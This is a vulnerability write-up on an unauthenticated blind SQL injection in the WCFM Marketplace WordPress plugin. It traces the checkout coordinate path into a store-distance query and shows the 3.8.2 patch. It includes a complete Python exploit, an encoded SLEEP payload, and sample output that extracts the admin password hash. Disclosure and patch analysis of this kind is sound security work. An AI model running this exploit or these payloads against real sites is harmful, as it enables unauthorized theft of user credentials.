Skip to content

CVE-2026-18442: WCFM Marketplace Unauthenticated SQL Injection via Checkout Distance Shipping

TL;DR

  • I found an unauthenticated SQL injection in WCFM Marketplace, a WooCommerce multivendor plugin with 10,000+ active installs.
  • A guest at checkout controls the delivery coordinates, which the plugin saves as text and then interpolates into a store-distance query where $wpdb->prepare() binds only the vendor ID, leaving the coordinate as raw SQL.
  • I used it for an unauthenticated blind read of wp_users.user_pass.
  • The issue affects WCFM Marketplace >= 3.3.9, <= 3.8.1, is tracked as CVE-2026-18442, and was fixed in 3.8.2.

Summary

WCFM Marketplace let an unauthenticated shopper inject SQL through the checkout delivery coordinates, because the plugin stored them as text and its store-distance query interpolated them straight into the SQL string.

  • CVE: CVE-2026-18442
  • Product: WCFM Marketplace - Multivendor Marketplace for WooCommerce
  • Active Installs: 10,000+
  • Vulnerability: Unauthenticated SQL Injection via Checkout Distance Shipping
  • Affected Versions: >= 3.3.9, <= 3.8.1
  • Fixed In: 3.8.2
  • CVSS Severity: 7.5 (high)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Required Privilege: Unauthenticated
  • Reported: May 25, 2026
  • NVD Published: September 18, 2026

Introduction

[A]I was working through WCFM Marketplace release diffs, following up on the 3.7.3 security release. Its changelog listed a fix for an unauthenticated SQL injection in the Store List Map integration, so I wanted to see how the plugin builds its store-distance queries and whether that fix reached every caller.

Most of that code had been tightened. The store-list vendor query in core/class-wcfmmp-vendor.php casts the coordinates with floatval() before it builds any SQL. The shared helper behind those queries was the exception. wcfmmp_get_user_vendor_distance() still trusted whatever was in the radius globals, and checkout by-distance shipping is one of the callers that fills them.

Root Cause Analysis

From Checkout to the Shipping Globals

WCFM adds a delivery location to the classic WooCommerce checkout and saves it on the woocommerce_checkout_update_order_review action, which fires on the public update_order_review AJAX request that any guest can send. The handler is in core/class-wcfmmp-frontend.php.

// core/class-wcfmmp-frontend.php
function wcfmmp_checkout_user_location_session_set( $post_data_raw ) {
    global $WCFM, $WCFMmp;
    if( apply_filters( 'wcfmmp_is_allow_checkout_user_location', true ) ) {
        parse_str( $post_data_raw, $post_data ); // [1] Parses the serialised checkout form.
        // ... the location label is saved to the session the same way, omitted.
        if ( ! empty( $post_data['wcfmmp_user_location_lat'] ) ) {
            WC()->session->set( '_wcfmmp_user_location_lat', sanitize_text_field( $post_data['wcfmmp_user_location_lat'] ) ); // [2] Latitude saved as text.
        }
        if ( ! empty( $post_data['wcfmmp_user_location_lng'] ) ) {
            WC()->session->set( '_wcfmmp_user_location_lng', sanitize_text_field( $post_data['wcfmmp_user_location_lng'] ) ); // [3] Longitude saved as text.
        }
    }
}

The serialised form is unpacked at [1], and the coordinates are stored in the session at [2] and [3] through sanitize_text_field(), which strips tags but does not make them numeric, so 0.1 UNION SELECT ... passes straight through. When WooCommerce later prices shipping, the package splitter in core/class-wcfmmp-shipping.php copies those session values into each vendor's shipping package, and the by-distance method reads them back into a pair of globals, in includes/shipping-gateways/class-wcfmmp-shipping-by-distance.php.

// includes/shipping-gateways/class-wcfmmp-shipping-by-distance.php (calculate_shipping)
$wcfmmp_user_location     = isset( $package['wcfmmp_user_location'] ) ? $package['wcfmmp_user_location'] : '';
$wcfmmp_user_location_lat = isset( $package['wcfmmp_user_location_lat'] ) ? $package['wcfmmp_user_location_lat'] : ''; // [4] Reads the submitted latitude from the shipping package.
$wcfmmp_user_location_lng = isset( $package['wcfmmp_user_location_lng'] ) ? $package['wcfmmp_user_location_lng'] : '';

if( !$wcfmmp_user_location ) {
    return;
}

$wcfmmp_radius_lat = $wcfmmp_user_location_lat; // [5] Copied into the shipping global.
$wcfmmp_radius_lng = $wcfmmp_user_location_lng;

$distance = wcfmmp_get_user_vendor_distance( $vendor_id ); // [6] Handed to the distance helper.

At [4] the method reads the latitude from the package, still as text, copies it into the $wcfmmp_radius_lat global at [5], and calls wcfmmp_get_user_vendor_distance() at [6]. The early return means the request also has to carry the wcfmmp_user_location label.

The Store Distance Query

The helper is where the coordinate becomes SQL, in helpers/wcfmmp-core-functions.php.

// helpers/wcfmmp-core-functions.php
function wcfmmp_get_user_vendor_distance( $store_id ) {
    global $WCFM, $WCFMmp, $wpdb, $wcfmmp_radius_lat, $wcfmmp_radius_lng, $wcfmmp_radius_range;

    $distance = '';
    if( $wcfmmp_radius_lat && $wcfmmp_radius_lng ) { // [7] Both globals used with no numeric cast.
        // ... $radius_unit and the $earth_surface value (3959 or 6371) set here, omitted.
        $store_query = " SELECT (
            {$earth_surface} * acos(
                cos( radians( {$wcfmmp_radius_lat} ) ) *
                cos( radians( wcfmmplat.meta_value ) ) *
                cos(
                        radians( wcfmmplong.meta_value ) - radians( {$wcfmmp_radius_lng} )
                ) +
                sin( radians( {$wcfmmp_radius_lat} ) ) *
                sin( radians( wcfmmplat.meta_value ) )
            )
        ) as wcfmmp_distance FROM {$wpdb->users}"; // [8] Both coordinates interpolated into the query text above.
        // ... two usermeta joins appended to $store_query, omitted.
        $store_query .= " WHERE {$wpdb->users}.ID = %d";
        // ... a wcfmmp_user_vendor_distance_query filter runs on $store_query, omitted.
        $distance = $wpdb->get_results( $wpdb->prepare($store_query, $store_id) ); // [9] prepare() binds only $store_id.
        // ... the returned rows are reduced to a rounded distance, omitted.
    }
    return apply_filters( 'wcfm_user_vendor_distance', $distance, $store_id );
}

This is the haversine great-circle formula, written as one SQL expression that computes the distance between the shopper and each vendor store. The guard at [7] runs the block whenever both globals are non-empty, and unlike the store-list path it never casts them. The query is built by double-quoted string interpolation, so the {$wcfmmp_radius_lat} and {$wcfmmp_radius_lng} at [8] drop the attacker's text into the radians(...) calls exactly as stored.

$wpdb->prepare() at [9] looks like the safety net, and it would be if the coordinates were passed to it. They aren't. The only placeholder in the query is the %d on the trailing WHERE {$wpdb->users}.ID = %d, so prepare() binds the vendor ID and leaves the coordinate that is already baked into the string untouched. Preparing a query can't retroactively parameterise a value that was concatenated into it earlier.

Impact

An unauthenticated shopper can read arbitrary data from the WordPress database, one predicate at a time, through the checkout shipping calculation. The confirmed result is a blind read of wp_users.user_pass, so an attacker can recover a stored password hash byte by byte, starting with user ID 1, the account created when the site was installed.

This is a read against the database as the WordPress database user. It doesn't by itself grant a session, and cracking the recovered hash or reusing it elsewhere is a separate step that this doesn't demonstrate.

Exploitation

Preconditions

  • WCFM Marketplace >= 3.3.9, <= 3.8.1, WC Frontend Manager, and WooCommerce are active.
  • The checkout page uses the classic WooCommerce checkout flow.
  • WCFM store shipping and by-distance shipping are enabled.
  • The cart holds a shippable vendor product whose vendor uses by-distance shipping.
  • For the fast content oracle, the vendor's maximum delivery distance sits between the in-range and out-of-range distances the payload produces, so a false predicate still returns a shipping method. Without a usable maximum, the timing oracle still works.

Manual Request

The whole attack is one unauthenticated POST to /?wc-ajax=update_order_review, carrying the update_order_review nonce that any visitor reads off the checkout page. The payload goes in wcfmmp_user_location_lat, which is nested inside the form-encoded post_data field, and that nesting is the one awkward part. The raw expression is:

0.1+IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1)=36,SLEEP(5),0)

Because it lives inside post_data, the whole value is percent-encoded, so its separators become %26 and %3D and the + joining 0.1 to the IF() is encoded twice, as %252B. A single + would decode to a space before WCFM stores it, and literal separators would end post_data early so parse_str() never sees the field. The PoC builds this encoding for you.

PoC

Below is the PoC accompanying this writeup. It adds the product to a guest cart, reads the checkout nonce, then extracts the start of wp_users.user_pass using either the timing oracle or the content oracle. It uses only the Python standard library.

#!/usr/bin/env python3
"""
Unauthenticated SQL injection proof of concept for WCFM Marketplace 3.3.9 to 3.8.1 (CVE-2026-18442).

The target must expose the classic WooCommerce checkout update-order-review
flow and have a WCFM vendor product that uses by-distance shipping.
"""

import argparse
import html
import http.cookiejar
import re
import sys
import time
import urllib.parse
import urllib.request


def request(opener, url, data=None):
    encoded = None
    if data is not None:
        encoded = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(
        url,
        data=encoded,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
    )
    started = time.monotonic()
    with opener.open(req, timeout=60) as response:
        body = response.read().decode("utf-8", "replace")
        code = response.getcode()
    return code, body, time.monotonic() - started


def absolute_url(base, path):
    if path.startswith("http://") or path.startswith("https://"):
        return path
    return urllib.parse.urljoin(base.rstrip("/") + "/", path.lstrip("/"))


def get_nonce(opener, base_url, checkout_path):
    checkout_url = absolute_url(base_url, checkout_path)
    code, body, elapsed = request(opener, checkout_url)
    if code != 200:
        raise RuntimeError(f"checkout page returned HTTP {code}")

    body = html.unescape(body)
    match = re.search(
        r'update_order_review_nonce["\']?\s*:\s*["\']([^"\']+)', body)
    if not match:
        raise RuntimeError(
            "could not find update_order_review_nonce. "
            "Confirm the site is using the classic WooCommerce checkout page."
        )
    return match.group(1), elapsed


def add_product(opener, base_url, product_id):
    add_url = absolute_url(base_url, f"/?add-to-cart={product_id}")
    code, _, elapsed = request(opener, add_url)
    if code not in (200, 302):
        raise RuntimeError(f"add-to-cart returned HTTP {code}")
    return elapsed


def checkout_probe(opener, base_url, nonce, expression):
    ajax_url = absolute_url(base_url, "/?wc-ajax=update_order_review")
    post_data = urllib.parse.urlencode(
        {
            "billing_country": "US",
            "billing_state": "CA",
            "billing_postcode": "94105",
            "billing_city": "San Francisco",
            "billing_address_1": "1 Main",
            "ship_to_different_address": "0",
            "wcfmmp_user_location": "Somewhere",
            "wcfmmp_user_location_lat": expression,
            "wcfmmp_user_location_lng": "0.1",
        }
    )
    data = {
        "security": nonce,
        "country": "US",
        "state": "CA",
        "postcode": "94105",
        "city": "San Francisco",
        "address": "1 Main",
        "address_2": "",
        "s_country": "US",
        "s_state": "CA",
        "s_postcode": "94105",
        "s_city": "San Francisco",
        "s_address": "1 Main",
        "s_address_2": "",
        "has_full_address": "true",
        "post_data": post_data,
    }
    code, body, elapsed = request(opener, ajax_url, data)
    if code != 200:
        raise RuntimeError(f"update_order_review returned HTTP {code}")
    return body, elapsed


def printable_charset():
    return "".join(chr(code) for code in range(0x20, 0x7f))


def content_condition(opener, args, nonce, sql_condition):
    expr = f"0.1+IF(({sql_condition}),90,0)"
    body, _ = checkout_probe(opener, args.url, nonce, expr)
    text = html.unescape(body)
    return "not deliverable" in text or "There are no shipping options available" in text


def timing_condition(opener, args, nonce, sql_condition):
    false_expr = f"0.1+IF((0),SLEEP({args.sleep}),0)"
    true_expr = f"0.1+IF(({sql_condition}),SLEEP({args.sleep}),0)"
    _, false_time = checkout_probe(opener, args.url, nonce, false_expr)
    _, true_time = checkout_probe(opener, args.url, nonce, true_expr)
    return true_time - false_time >= max(args.sleep * 2, args.threshold)


def extract_hash_prefix(args, opener, nonce):
    extracted = ""
    charset = printable_charset()
    print(
        f"extracting {args.extract_length} byte(s) from {args.table_prefix}users.user_pass for user {args.user_id}")

    for position in range(1, args.extract_length + 1):
        found = None
        for candidate in charset:
            ascii_value = ord(candidate)
            condition = (
                f"SELECT ASCII(SUBSTRING(user_pass,{position},1)) "
                f"FROM {args.table_prefix}users WHERE ID={args.user_id}"
            )
            condition = f"({condition})={ascii_value}"
            if args.mode == "content":
                matched = content_condition(opener, args, nonce, condition)
            else:
                matched = timing_condition(opener, args, nonce, condition)

            if matched:
                found = candidate
                extracted += candidate
                printable = extracted.encode("unicode_escape").decode()
                print(
                    f"position {position}: ASCII {ascii_value}, prefix now {printable}")
                break

        if found is None:
            print(f"stopped: no candidate matched at position {position}")
            return 1

    print(
        f"extracted user_pass prefix: {extracted.encode('unicode_escape').decode()}")
    return 0


def main():
    parser = argparse.ArgumentParser(
        description=(
            "Exploit the WCFM Marketplace checkout distance SQL injection and "
            "prove a blind read from wp_users.user_pass."
        )
    )
    parser.add_argument("--url", required=True,
                        help="Target base URL, for example http://localhost:8090")
    parser.add_argument("--product-id", required=True,
                        type=int, help="Shippable WCFM vendor product ID")
    parser.add_argument("--checkout-path", default="/?page_id=7",
                        help="Classic checkout page path or URL")
    parser.add_argument("--user-id", default=1, type=int,
                        help="Target WordPress user ID")
    parser.add_argument("--table-prefix", default="wp_",
                        help="WordPress database table prefix")
    parser.add_argument("--sleep", default=5, type=int,
                        help="Sleep seconds for timing mode")
    parser.add_argument("--threshold", default=8.0, type=float,
                        help="Minimum timing delta to treat a probe as true")
    parser.add_argument(
        "--extract-length",
        default=8,
        type=int,
        help="Number of leading bytes of user_pass to extract",
    )
    parser.add_argument(
        "--mode",
        choices=("timing", "content"),
        default="timing",
        help="Use timing mode, or a fast content oracle when max distance is configured",
    )
    args = parser.parse_args()

    cookies = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(cookies))

    try:
        add_product(opener, args.url, args.product_id)
        nonce, _ = get_nonce(opener, args.url, args.checkout_path)
        return extract_hash_prefix(args, opener, nonce)
    except Exception as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2


if __name__ == "__main__":
    raise SystemExit(main())

Run it against a vendor product that uses by-distance shipping. Content mode reads each byte from the checkout response, and timing mode falls back to SLEEP() when the vendor has no maximum distance set.

python3 cve-2026-18442.py \
  --url http://target.example \
  --product-id 12 \
  --checkout-path '/?page_id=7' \
  --mode content \
  --extract-length 4
extracting 4 byte(s) from wp_users.user_pass for user 1
position 1: ASCII 36, prefix now $
position 2: ASCII 119, prefix now $w
position 3: ASCII 112, prefix now $wp
position 4: ASCII 36, prefix now $wp$
extracted user_pass prefix: $wp$

Patch Diffing

Version 3.8.2 describes the fix in its changelog:

Store-distance calculations now force all incoming location coordinates to numeric values before they are used in any database query.

The security-relevant change is two executable lines, the coordinate casts added at the top of the helper's guarded block, in helpers/wcfmmp-core-functions.php. Version 3.8.2 also reflows some blank lines around them, which the excerpt leaves out.

// helpers/wcfmmp-core-functions.php (wcfmmp_get_user_vendor_distance)
 $distance = '';
 if( $wcfmmp_radius_lat && $wcfmmp_radius_lng ) {
+   $wcfmmp_radius_lat = floatval( $wcfmmp_radius_lat );
+   $wcfmmp_radius_lng = floatval( $wcfmmp_radius_lng );
    $radius_unit   = isset( $WCFMmp->wcfmmp_marketplace_options['radius_unit'] ) ? $WCFMmp->wcfmmp_marketplace_options['radius_unit'] : 'km';
    $earth_surface = ( 'mi' === $radius_unit ) ? 3959 : 6371;
    $store_query = " SELECT (
        {$earth_surface} * acos(
            cos( radians( {$wcfmmp_radius_lat} ) ) *

floatval() reads the leading numeric part of a string and stops at the first character that cannot belong to a number, so 0.1+IF(...) collapses to 0.1. Putting the cast inside wcfmmp_get_user_vendor_distance() rather than in one caller means every path that reaches the helper is now numeric before the query is built, which is the property the store-list-only fix in 3.7.3 was missing.

Anyone cross-checking the advisory will hit a discrepancy here. The Wordfence record lists the affected range as <= 3.8.2 and the fixed version as 3.8.3. The plugin's own changelog and source disagree. The coordinate cast appears in the 3.8.2 release, the 3.8.2 changelog names the distance-shipping SQL injection among its fixes, and 3.8.3 carries unrelated view-escaping fixes for the store banner and store list, leaving this helper byte-identical. The last release that still reaches the query through the raw globals is 3.8.1. The by-distance shipping method and this distance helper first shipped in 3.3.9, so releases before that do not expose the path at all.

Remediation

WCFM Marketplace fixed this in 3.8.2, which forces the checkout coordinates to numeric values before they reach the distance query. Update to the current release, 3.8.3 or later, which also carries the later store escaping fixes.

If an update has to wait, the vulnerable path only exists when by-distance shipping is active, so disabling WCFM store shipping or the by-distance shipping method removes the reachable sink until the plugin can be updated.

Disclosure Timeline

  • May 25, 2026: Submitted to the Wordfence bug bounty program.
  • July 28, 2026: Triage started.
  • July 30, 2026: Report validated and CVE-2026-18442 assigned.
  • July 31, 2026: Bounty awarded ($134).
  • August 25, 2026: WCFM Marketplace 3.8.2 released, forcing checkout coordinates to numeric values before the store-distance query.
  • September 17, 2026: Published by Wordfence as CVE-2026-18442.
  • September 18, 2026: Indexed by NVD.

Conclusion

I went looking here because of the 3.7.3 fix, not the product itself. It patched the one query that had been reported and left the shared helper as it was, so the whole hunt was finding which other caller still reached it. Checkout by-distance shipping was the one that did.

References